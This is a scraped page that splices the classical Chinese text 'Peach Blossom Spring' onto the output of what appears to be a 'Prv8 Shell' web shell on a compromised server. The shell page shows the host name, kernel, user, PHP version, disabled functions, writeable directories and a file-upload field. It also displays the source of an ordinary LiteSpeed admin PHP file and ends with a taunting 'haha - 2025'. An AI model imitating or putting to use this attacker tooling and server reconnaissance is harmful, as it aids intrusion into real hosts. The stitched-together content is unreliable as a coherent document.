晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/local/lsws-old/admin/html/utility/build_php/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/lsws-old/admin/html/utility/build_php/buildStep4.php
<?php
if (!defined('LEGAL')) return;

echo '<h2 class="bottom_bar">' . TITLE . '</h2>';

$manual_script = $check->pass_val['manual_script'];
if ($manual_script == NULL) {// illegal entry
	return;
}
$binname = 'lsphp-' . $check->pass_val['php_version'];

$notes = '<li>If the build process is successful, the PHP binary will be created under '
	. $_SERVER['LS_SERVER_ROOT'] . '/fcgi-bin/ with name ' . $binname
	. ', and a symbolic link of lsphp' . $check->pass_val['php_version'][0]
	. ' will be created or updated to the newly built binary. If '
	. $binname . ' already exists, it will be renamed to ' . $binname . '.bak.</li>';

if ( $check->pass_val['extentions'] != '') {
	$notes1 = BuildTool::getExtensionNotes($check->pass_val['extentions']);
	$notes .= '<li>' . $notes1 . '</li>';
}

$echo_cmd = 'echo "For security reason, please log in and manually run the pre-generated script to continue."';
exec($echo_cmd . ' > ' . $check->pass_val['log_file']);
exec($echo_cmd . ' > ' . $check->pass_val['progress_file']);

?>

<div class="panel_error" align=left>
<p class="gui_error" id="errorzone">For security reason, please log in to your server and run the pre-generated script from shell. You can monitor the progress from this screen.</p>
<p>If you log in as root, you can directly run the command:</p>
<p class="panel_shell"># <?php echo $manual_script; ?></p>
<p>If you log in as a user who has sudo permission, you can run the command with sudo and input root password after prompt. </p>
<p class="panel_shell">$ sudo <?php echo $manual_script; ?></p>
</div>

<div class="xtbl_header"><p class="xtbl_title">
	Step 4 : Monitoring build process
</p>
</div>

<script>
function getUpdate() {
	try { xhr = new XMLHttpRequest(); }
	catch(e)
	{
	    xhr = new ActiveXObject(Microsoft.XMLHTTP);
	}

	xhr.abort();
	xhr.open("GET", "buildProgress.php", true);
	xhr.send(null);

	xhr.onreadystatechange = function() {

	    if(xhr.readyState != 4)
	    	return;

		if(xhr.status == 200)
		{
			var ta = document.getElementById("statuszone");
			var pos = xhr.responseText.indexOf("\n**LOG_DETAIL**");
        	ta.innerHTML = xhr.responseText.substring(0,pos);

        	var loga = document.getElementById("logzone");
        	loga.innerHTML = xhr.responseText.substring(pos);
        	if (xhr.responseText.indexOf("\n**COMPLETE**") >= 0) {
	        	document.getElementById("statusgraphzone").innerHTML = '<b>Build PHP Completed!</b> To apply changes, please visit Control Panel and execute a Graceful Restart. <a href="/service/serviceMgr.php">Apply Changes</a>';
	        	document.getElementById("errorzone").innerHTML = 'Please make sure your php.ini will work with the extension, see details in notes.';
        	}
        	else if (xhr.responseText.indexOf("\n**ERROR**") >= 0) {
	        	document.getElementById("statusgraphzone").innerHTML = '<b>Stopped due to Error. Please manually fix it. It may due to missing packages, after you install it, rerun the same command and this page will show the updated log.</b>';
	        	setTimeout("getUpdate();", 10000);
        	}
        	else {
            	setTimeout("getUpdate();", 2000);
			}
      	} else {
        	document.getElementById("statuszone").innerHTML = xhr.responseText
        		+ "<br>Status update refresh error " + xhr.status + "... please wait";
			setTimeout("getUpdate();", 2000);
      	}
	};
}

getUpdate();

</script>

<div><span id="statusgraphzone"><img src='/static/images/working.gif'></span></div>


<p> <b>Notes</b>: <ul><?php echo $notes; ?>
    <li>For more information regarding LSPHP, please visit <a href="https://docs.litespeedtech.com/lsws/extapp/php/" target="_blank" rel="noopener noreferrer">LiteSpeed wiki</a>.</li>
</li></ul></p>
<p><b>Main Status: </b></p>
<div style="margin:10px;border:1px solid rgb(134,142,167);outline: 3px solid #eaeaea;width:900px;height:160px;overflow:auto;font-family:Courier, monospace; font-size: 11px; background: #FFFFF7; color: #333333; padding: 5px 10px;">
<pre id="statuszone"></pre>
</div>
<p><b>Detailed Log: </b></p>
<div style="margin:10px;border:1px solid rgb(134,142,167);outline: 3px solid #eaeaea;width:900px;height:500px;overflow:auto;font-family:Courier, monospace; font-size: 11px; background: #222222; color: #ffffff; padding: 5px 10px;">
<pre id="logzone"></pre>
</div>

<p></p>


haha - 2025